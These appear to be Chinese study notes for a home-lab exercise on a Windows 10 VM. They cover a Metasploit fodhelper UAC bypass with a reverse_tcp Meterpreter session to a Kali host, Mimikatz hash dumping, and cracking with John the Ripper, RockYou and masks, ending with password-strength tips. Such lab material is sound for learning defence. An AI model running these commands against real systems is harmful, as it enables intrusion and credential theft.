STEALING AND CRACKING PASSWORDS
首先批量创建一些用户:
C:\WINDOWS\system32> net user ana Password1 /add
C:\WINDOWS\system32> net user ben P@$$w0rd! /add
C:\WINDOWS\system32> net user carol CaptainMarvel /add
C:\WINDOWS\system32> net user clark superman20 /add
C:\WINDOWS\system32> net user kara SuperGirl7! /add
C:\WINDOWS\system32> net user peter SpidermanRulez:) /add
反射进入后,进行提权,windows需要提权到system类型的用户,才能对口令进行破解
于是需要新建一个session
set payload windows/meterpreter/reverse_tcp
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
set LHOST 10.10.10.4 #Kali IP
exploit
此处根据Windows10的版本,有可能不成功的情况
若成功,开启一个新的meterpreter
用Mimikatz窃取密码哈希
dump the password hashes for all users from the Windows 10 VM
可以把user、hash复制下来,备用
口令破解:字典攻击、暴力破解
具体方法:
Free Online Password Databases
64f12cddaa88057e06a81b54e73b949b:Password1
85f4aaf6ac4fac1d9b55e6b880bcda3e:CaptainMarvel
920ae267e048417fcfe00f49ecbd4b33:P@$$w0rd!
d6566eae841e523df8fd96a42bcbd4ac:superman20
fc525c9683e8fe067095ba2ddc971889:Passw0rd!--snip--
John the Ripper(jonny 一个GUI界面)
Kali有几个内置词表,包括RockYou词表。RockYou是一家公司,在2009年的一次著名的漏洞中丢失了3200万用户的密码,该漏洞涉及一个保护较差的web应用程序。
要访问RockYou单词列表,请在终端窗口中输入以下命令:
kali@kali:~$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
john简单用法:
john --wordlist=/usr/share/wordlists/rockyou.txt --rules --format=NT --fork=3 windows_hash
A Dictionary Attack with mask
掩码攻击从部分信息(如旧密码)开始,并添加字符以尝试破解类似密码。
举例:
在Johnny中,我们可以在SuperGir的末尾添加通配符,以尝试猜测Kara的其他密码可能是什么。
我们可以用通配符吗?u代表大写字母?l代表小写字母?d表示数字(0-9)?s是特殊符号,?a用于所有可打印字符(字母、数字、标点符号和特殊字符)。
即使使用较短的密码而不是密码短语,添加另一种语言的特殊字符也会使破解变得更加困难。
在没有数字键盘的笔记本电脑上,您可以按Windows键和句点键(Windows-.)插入表情符号或其他符号。✔℃